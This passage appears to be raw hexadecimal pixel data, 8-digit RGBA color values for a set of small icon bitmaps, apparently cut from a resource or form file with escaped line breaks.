FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFC0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFFFFFFFFF4F49B9FF2F1AD4FF2C18CFFF2D18\n      CFFF2E11CEFF2D18CFFF2D18CFFF2D14CFFF2D15CFFF2D18CFFF2D17CFFF2E12\n      CEFF2D18CFFF2C17CFFF2F1BD4FF6C67B1FF26282AFF0C1010FF0E1011FF0E10\n      12FF0F1112FF0F0D0DFF0F1B1EFF0F2428FF0F3C42FF0F1414FF0F0B0BFF0F10\n      12FF0E0D11FF0D0E10FF0D0F10FF4C4E4EFF626997FF957689FF8F758AFF9076\n      8BFF90768BFF90768BFF90768BFF90768BFF90768BFF90768BFF90768BFF9076\n      8BFF90768BFF8F758AFF957789FF6A7392FFB1A77DFFFDECA8FFF8E6A4FFF8E6\n      A5FFF6E49EFFFFFFEBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBDDFFF6E4\n      A0FFF8E6A5FFF8E7A4FFFFEDA8FF99937BFF4741B3FF391FD8FF3B1ED0FF3D18\n      CEFF357DE6FF3D1FD0FF3C1CCFFF3851DCFF3A4BDBFF3C1CCFFF3D25D2FF3577\n      E5FF3D19CFFF3B1ED0FF381FD7FF645EAFFF262828FF0E0F10FF101110FF0F12\n      11FF110E0FFF112529FF119DB5FF11D8FBFF11E2FFFF11A4BDFF11333BFF110F\n      0BFF103612FF0F4311FF0D0A10FF4D4D4DFF5A5B8BFFA14D19FF9B4E25FF9B4F\n      26FF9B5127FF9B5127FF9B5127FF9C5024FF9C5025FF9B5127FF9B5127FF9B51\n      27FF9B4F26FF9B4F25FFA24C19FF636D95FFB0A37BFFEDD899FFE9D598FFE9D5\n      98FFE7D292FFF2EDDBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0E7CDFFE8D3\n      93FFE9D598FFE9D598FFEFDB9BFF9A947CFF4431C0FF3F6DA7FF278BFFFF2E84\n      ECFF308AE9FF3183E6FF3184E6FF318AE8FF3183E6FF3184E6FF3182E6FF308B\n      E9FF2D84EDFF278CFEFF3E64A6FF635AB0FF252525FF0C0D0EFF0F1010FF100E\n      0FFF111113FF11A3BCFF11E7FFFF11DBFFFF11DAFFFF11E4FFFF11B4C2FF1148\n      11FF10380FFF0E3510FF0C160DFF4A4A4BFF4E4E88FF933714FF8D3C20FF8F3C\n      21FF8E3C23FF8E3C22FF913B1CFF853C3AFF8F3523FF903B1FFF8E3C22FF8E3C\n      23FF8F3D21FF8D3A21FF953712FF5B6493FFAC9E76FFE9D292FFE7D091FFE7CF\n      93FFE5CC8BFFF1EBD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFE5CAFFE5CD\n      8CFFE7CF93FFE7D091FFECD494FF979078FF3D2CCAFF6C8500FF5B9633FF30CE\n      D4FF1EE3FFFF23DDFFFF24DBFDFF24DBFDFF24DCFDFF24DBFDFF23DDFFFF1EE3\n      FFFF32CACAFF5D9327FF657A02FF6057B4FF252525FF090B0AFF0C0D0EFF0F0B\n      0CFF0E211DFF10C7EAFF0FDDFFFF0FDAFFFF0FDAFFFF0FDAFFFF10E2FFFF0E42\n      4CFF0F0508FF0D090CFF0A080BFF494949FF454186FF8A2609FF842817FF8529\n      18FF862A18FF882A14FF7A2B33FF4376A2FF23A4E8FF882016FF872A16FF862A\n      18FF852918FF842817FF8C2408FF545D91FFA99972FFE7CE8DFFE4CB8DFFE4CD\n      8EFFE3C987FFF0E8D7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEEE3C7FFE3CA\n      88FFE4CB8EFFE5CB8DFFEAD08FFF958C75FF3D2BCAFF678200FF687B00FF6B76\n      00FF58903DFF2AC8DCFF1DDDFFFF21D3FAFF21D5FBFF1CDDFFFF2DC5D4FF5A8E\n      32FF6B7600FF657D04FF5E770EFF6558B9FF252525FF090809FF0D0C0DFF0D19\n      09FF0E5C36FF10D5F8FF10DBFFFF10DAFFFF10DAFFFF10DBFFFF10D7FBFF0F1D\n      20FF0E0B0AFF0C0C0CFF090908FF494949FF403F86FF861F05FF802012FF8121\n      13FF822213FF861F0CFF394C8DFF4D4842FF336172FF3762A7FF871E07FF8222\n      14FF812113FF802112FF891D05FF515B91FFA89871FFE7CC8CFFE5C98BFFE5CA\n      8CFFE3C785FFF2EBD9FFECE8F0FFA1CDBBFF90C0ABFFF6F3FCFFEEE3C9FFE3C8\n      86FFE5CB8CFFE3C98BFFEACE8DFF948B74FF3F2BC7FF5D992DFF41858FFF667D\n      03FF677D0AFF6C7700FF519157FF294BE9FF294DEAFF569446FF6D7600FF6780\n      09FF65810EFF648109FF5F770EFF6559B8FF242424FF0C0F0CFF0D230DFF0E5E\n      0DFF10540AFF10A5A7FF10E5FFFF10DCFFFF10DCFFFF10E6FFFF10A7C1FF0F1B\n      1EFF0E0B0BFF0C0C0CFF090909FF494949FF423F86FF8B2309FF822314FF8023\n      14FF842411FF64244CFFC28E51FFB2957AFFA47058FF997884FF731F25FF8323\n      12FF822314FF812213FF891D05FF505B91FFA99872FFE9CE90FFE4CA8CFFE4CA\n      8CFFE3C786FFF7ECDEFFABD3AEFFD8DBE3FF8ECAB3FFBBDBBDFFF3E5CDFFE3C8\n      86FFE5CB8DFFE5CA8CFFEACF8DFF948B74FF3F2AC5FF54A85AFF44B79AFF6E82\n      05FF667D0BFF6B7A00FF5B7A32FF2669F1FF285CEFFF618021FF6B7A00FF6680\n      0CFF65810EFF648109FF5F770EFF6559B8FF252425FF0E1B0EFF115611FF103A\n      11FF0E200BFF0F1E21FF0F8FA5FF0FD5F9FF0FCDEEFF0FA4BEFF102528FF0E09\n      08FF0D0E0EFF0B0C0CFF080909FF494949FF424086FF8E250BFF882A19FF8729\n      19FF832410FF651F42FFD7B360FF998547FFB6984DFFB7A17AFF751B1DFF8323\n      13FF822314FF812213FF891D05FF505B91FFA99972FFE8CF94FFE6CD92FFE6CD\n      91FFE3C685FFF6ECDDFFAFD4B1FFE7F6FFFF8AC2A9FFBEDBC0FFF2E5CDFFE3C8\n      86FFE5CB8DFFE5CA8CFFEACE8DFF948B74FF3F2DCAFF728B00FF738503FF7585\n      04FF6D8E1FFF3FBDB5FF1EE0FFFF24BDF6FF21C0F7FF1ADEFFFF38B6AAFF6382\n      12FF687800FF647C06FF5E770FFF655AB8FF202525FF000E0FFF080E09FF0610\n      14FF071315FF05100FFF020B09FF033238FF021414FF001314FF000B0BFF000D\n      0DFF000D0DFF010403FF000808FF474949FF454186FF90290EFF8B2D1CFF8B2E\n      1DFF8B2F1EFF882411FF8A6E81FF4A7721FF4F7C1FFF875876FF821F0BFF8122\n      13FF802112FF7D2011FF891D04FF515B91FFA99974FFE9D195FFE7CD95FFE7CF\n      95FFE5CC8FFFF2EAD9FFFDFEFFFFF5F6F3FFF2F6F0FFFFFFFFFFEDE2C7FFE3C7\n      85FFE4CA8BFFE3C98AFFEACF8EFF948B75FF3F2ECAFF789100FF719215FF47C3\n      ADFF29E4FFFF2EE0FFFF31DEFDFF31DFFDFF2FDFFDFF2EDCFDFF2AE0FFFF25E4\n      FFFF47BDA1FF72900EFF73890BFF6155B4FFA12525FFE70705FF887285FFE609\n      07FFDB1717FFDB1717FFE0100FFFBB3A3EFFB2434BFFE00C0BFFD91515FFD915\n      15FFE40908FF95636FFFDE1414FF904948FF454286FF932C0FFF8C301EFF8E31\n      1FFF8E3220FF8E321EFF852928FF9B8986FF9D788CFF862517FF8B2E1CFF8B2E\n      1DFF8B2E1DFF8C2E1EFF962C0FFF535C91FFA99974FFEBD299FFE6CE97FFE8D0\n      98FFE6CD90FFF1EBDAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEDE4CAFFE5CC\n      8FFFE7CF95FFE7CF96FFECD59CFF948C75FF422FC2FF528887FF2EACFFFF33A8\n      F9FF38A4F0FF37A4EFFF37A5EFFF38A3EFFF38A5EFFF37A5EFFF38A5EFFF38A3\n      EFFF33A8FAFF2FABFFFF517B88FF6356AEFF9B2020FF9A4C56FF51A2B7FFA441\n      49FFCE1110FFCC1414FFBA2A2DFF787587FF777889FFB72E32FFCD1414FFCE12\n      11FFAC393EFF688797FF8B616DFF8A4949FF454287FF952F10FF90321FFF8F33\n      21FF913421FF913421FF92331EFF892E27FF8D2E1DFF91341FFF913421FF9134\n      21FF903321FF8F311EFF982E0EFF535C91FFA99A75FFEAD39BFFE8D199FFE8D1\n      9AFFE6CE93FFF3ECDCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0E6CDFFE6CE\n      94FFE8D19AFFE6D199FFEDD69CFF948C75FF4435B1FF3E1BDFFF3F1BD4FF4216\n      D2FF3884EAFF411CD3FF431AD4FF3D57E1FF3E48DEFF421AD4FF4121D5FF3881\n      E9FF4216D2FF3F1BD5FF3D1DDEFF6359ACFF9D1F1FFF6B7A8DFF2DC0DBFF7471\n      82FFD30807FFCF0C0CFFA63B41FF4CA0B6FF4F9DB3FFA33E46FFD00C0CFFD20A\n      09FF885D69FF31B9D4FF64889AFF834E50FF464284FF9B2B05FF942F13FF952F\n      14FF953115FF953115FF953115FF953014FF953114FF953115FF953115FF9531\n      15FF943014FF942D12FF9D2A03FF525B90FFAA9B74FFECD59BFFE8D19BFFE8D2\n      9AFFE6CF93FFF4ECDCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0E6CFFFE6CF\n      95FFE8D29AFFE8D199FFEFD89DFF938A74FF4032B0FF442ED7FF422CD6FF432D\n      D6FF4426D4FF432DD6FF432DD6FF4429D5FF432AD5FF432DD6FF432DD6FF4426\n      D4FF432DD6FF422CD6FF432DD7FF6258AAFF9D3030FFE52320FF7895A5FFE022\n      20FFD23333FFD23333FFDA2B2AFFAE5B62FFAE5C62FFDA2A29FFD23333FFD233\n      33FFDD2524FF8B8490FFD23737FF985454FF454D9EFF7B5A95FF765897FF775A\n      98FF775998FF775998FF775998FF775998FF775998FF775998FF775998FF7759\n      98FF775A98FF765997FF7A5A97FF5F679DFFB0A07AFFF1DBA9FFEDD8A7FFEDD8\n      A7FFECD5A1FFF9F5E6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7EED9FFECD5\n      A2FFEDD8A7FFEDD8A7FFF1DCA9FFA39983FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD8D8D8FFBEBEBEFFBEBEBEFFBEBE\n      BEFFBEBEBEFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBEBE\n      BEFFBEBEBEFFBEBEBEFFBDBDBDFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDEDEDEFFC3C3C3FFC4C4C4FFC4C4\n      C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4\n      C4FFC4C4C4FFC4C4C4FFC2C2C2FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF89AC5AFFB0E861FFAFE561FFAEE5\n      61FFAEE562FFAEE562FFAEE562FFAEE562FFAEE562FFAEE562FFAEE562FFAEE5\n      62FFAFE561FFAFE561FFB1EA62FF839869FF616EC1FF6C88FFFF6B87FFFF6C86\n      FFFF6C85FFFF6B85FFFF6C83FFFF6ABDFCFF6C83FFFF6B85FFFF6B85FFFF6C85\n      FFFF6C86FFFF6B87FFFF6D89FFFF6A73A3FF9B854BFFDCB34BFFD7B04BFFD7B1\n      4CFFD8B14CFFD8B14CFFD8B14CFFD8B14CFFD8B14CFFD8B14CFFD8B14CFFD7B1\n      4CFFD7B04CFFD7B04BFFDEB54DFF8D805FFF6F66BEFF8B78FFFF8977FFFF8976\n      FFFF8A77FFFF8976FFFF8977FFFF8A77FFFF8A77FFFF8A77FFFF8A77FFFF8A77\n      FFFF8976FFFF8977FFFF8C79FFFF736FA1FF749547FF89B841FF89B843FF88B7\n      44FF8AB743FF8AB743FF8AB743FF8AB743FF8AB743FF8AB743FF8AB743FF8AB7\n      43FF89B744FF87B843FF88B941FF788E5DFF4E55B7FF4A55F0FF4A57EDFF4C56\n      EDFF4B58EDFF4D58EDFF4B53ECFF4C90E5FF4B52E9FF4D58EDFF4D58EDFF4B58\n      EDFF4C56EDFF4B55EDFF4B56F2FF6167A0FFC4CACFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A6A8FF6053B4FF6951EBFF6952E8FF654D\n      E6FF5B41E5FF634BE6FF5F45E6FF5E44E5FF684FE7FF6B52E8FF6B52E8FF6B52\n      E8FF6A53E8FF6952E8FF6952EDFF6C649EFF607C35FF689726FF699628FF6B98\n      29FF6A972AFF6A972AFF6A972AFF6A972AFF6A972AFF6A972AFF6A972AFF6A97\n      2AFF699829FF6A9628FF699825FF6D7D54FF3C3CADFF2F2FE8FF3130E4FF3233\n      E4FF3232E4FF3332E4FF332FE5FF3257DAFF3234DEFF3331E5FF3332E4FF3232\n      E4FF3233E4FF3030E4FF2E2FEAFF57599AFF86563FFFAC6036FFAA5F37FFAB60\n      38FFAB6039FFAB6039FFAB6039FFAB6039FFAB6039FFAB6039FFAB6039FFAB60\n      39FFAB6038FFAA5F37FFAE5F36FF806758FF523FA9FF5335E1FF4829DBFF7B65\n      E6FFF0EFFCFFFFFFFFFFFFFFFFFFDCD6F7FF5D42DFFF5032DDFF5538DFFF5538\n      DFFF5437DDFF5336DDFF5435E3FF635A97FF4D6B2DFF4F7D19FF507D1BFF5180\n      1DFF52801DFF52801DFF528320FF528623FF538825FF52811DFF52801DFF5280\n      1DFF51801CFF507D1BFF4E7D18FF61714EFF322DA7FF201AE2FF221CDEFF241D\n      DEFF2C26E2FF3932E7FF3C31EBFF335EBEFF365AC8FF3C31EBFF3932E6FF2923\n      E1FF241DDEFF221CDEFF2119E5FF525094FF8C6257FFB87260FFB4715FFFB672\n      60FFB67361FFB67361FFB67361FFB67361FFB67361FFB67361FFB67361FFB673\n      61FFB67260FFB4715FFFBB7460FF826C66FF4630A2FF3C15D6FF7258E0FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4927D7FF421ED4FF4421\n      D5FF4320D5FF411ED5FF411DD9FF5C5092FF2FA3C1FF1BDAFFFF1DD9FFFF20D8\n      FFFF1FD8FFFF20DBFFFF1BABD1FF178BABFF13627BFF1FD6FFFF1FD9FFFF1FD8\n      FFFF1ED8FFFF1CD9FFFF1ADCFFFF4E91A3FFC6C6BBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFB8B8D9FF332EA0FF19119CFF142776FF142086FF1F1893FF302BA7FFDEDF\n      E6FFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFFC4CDCFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A7A9FF402A9EFF2700D0FFFDFDFDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC1B4EFFF3009D0FF3C17\n      D2FF3B16D2FF3914D2FF3911D7FF5A4D8EFF32A0B8FF22D6FEFF21D3FCFF21D3\n      FCFF23D4FCFF23D6FFFF1FBCDEFF0D0000FF101C1EFF21D3FBFF23D4FCFF23D4\n      FCFF22D4FCFF20D4FCFF1DD7FFFF508F9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFE6E5FAFF000056FF150E8FFF100D22FF110D50FF110E5FFF00007CFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF723229FF8E200FFFAF655BFFFFFF\n      FFFF8F291AFF8D2315FF8D2416FF891B0CFF891B0CFF891B0CFF891B0CFF891B\n      0CFF871A0BFF861709FF891606FF724E49FF38219DFF441ED7FFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFF2200C6FF320C\n      CAFF320BCAFF3009CAFF2E06D3FF564A8DFF33A0B8FF25D7FEFF28D6FCFF28D5\n      FCFF23D4FCFF21D2F9FF198097FF133941FF165969FF1C90AAFF23D8FFFF23D4\n      FCFF22D4FCFF20D4FCFF1DD7FFFF508F9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFE5E5EFFF0800EAFF170EDDFF1810D1FF190FD8FF180EE0FF0300E2FFFFFF\n      F9FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF73332BFF912413FFB36B61FFFFFF\n      FFFF8F291CFF8D2517FF8C2013FFCB9E98FFC6958EFFC6958EFFC6958EFFC695\n      8EFFC7948DFFC7938CFFCC968FFF8A7674FFC7C9BDFFFFFFFFFF1D00CCFF2F06\n      CFFF2A03CEFF2902CDFF2902CDFF2903CDFF2800CCFF330DD0FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF33A7BBFF27E2FFFF29E0FDFF2CE0\n      FDFF2CE0FDFF28DFFDFF26E4FFFF1CA7BDFF20D8FAFF21E0FFFF21DBFDFF21DB\n      FDFF20DBFDFF1EDBFDFF1CDFFFFF50939EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFACA9D8FF0900B2FF221AAFFF130BB6FF150DB7FF1B14A9FF0300B1FFCCCC\n      E1FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF73352BFF952716FFB66D62FFFFFF\n      FFFF993626FF922C1DFF8C2213FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9FA1A1FFB9B9B9FFFFFFFFFF4C26D7FF461E\n      D5FF4923D6FF4620D5FF401CD3FF3D18D2FF330ED0FF8268E1FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3F299EFF3D18D5FF3F1BD3FF3F1D\n      D3FF3F1ED3FF411ED3FF411FD3FF4222D7FF3F1ED3FF3C1CD2FF3D1BD0FF3B1B\n      D1FF3D1AD0FF3D1AD2FF3E18D6FF564B8EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF464379FF9E9DC2FF231E63FF524E95FF6A6892FF7370A6FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFC4CDCFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF810500FF891806FF881505FF881403FF8814\n      03FF871403FF881402FF8E1400FF6F4848FFB9B9B9FFFFFFFFFFD9D1F7FF350A\n      D2FF481FD5FF4D24D7FF4D24D7FF461CD5FF451BD5FFFEFEFEFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3F309FFF3F26D8FF4029D5FF412B\n      D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3E25DAFF564E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFF3D32CEFF8F89E3FF251CA3FF574ECDFF5D54D9FF6A62D6FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF8D625BFFBD7468FFCFA19AFFFFFF\n      FFFFBE7B70FFBC776DFFBB766CFFE2C5C0FFDFC0BBFFDFC0BBFFDFC0BBFFDFC0\n      BBFFDFC0BBFFDEBFBAFFE6C4BFFF918583FFB9B9B9FFFFFFFFFFFFFFFFFFE2DB\n      F7FF6A48DDFF3E11D4FF4317D5FF8364E2FFFCFBFEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3F2F9FFF3F25D9FF3F27D7FF4028\n      D7FF4029D7FF4029D7FF4029D7FF4029D7FF4029D7FF4029D7FF4029D7FF4029\n      D7FF4028D7FF4026D7FF3F24DBFF554D8EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFA29EDEFFB0AED8FF4036BFFF443BBCFFB6B3DEFFB3AFE1FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF733228FF992814FFB86E60FFFFFF\n      FFFF9B3321FF992F1DFF962A17FFFAF4F2FFF2E5E3FFF2E5E3FFF2E5E3FFF3E5\n      E3FFF3E5E3FFF3E5E3FFFAEBE8FF979493FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF473CA3FF5744DCFF5641D9FF5542\n      D9FF5742D9FF5643D9FF5643D9FF5643D9FF5643D9FF5643D9FF5643D9FF5742\n      D9FF5542D9FF5441D9FF5542DCFF625C9BFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF7B4138FFA94A3DFFC2877BFFFFFF\n      FFFFA85043FFA84E3FFFA94F41FFA14030FFA14030FFA14030FFA14030FFA040\n      31FFA03F2FFFA03E30FFA44030FF805954FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      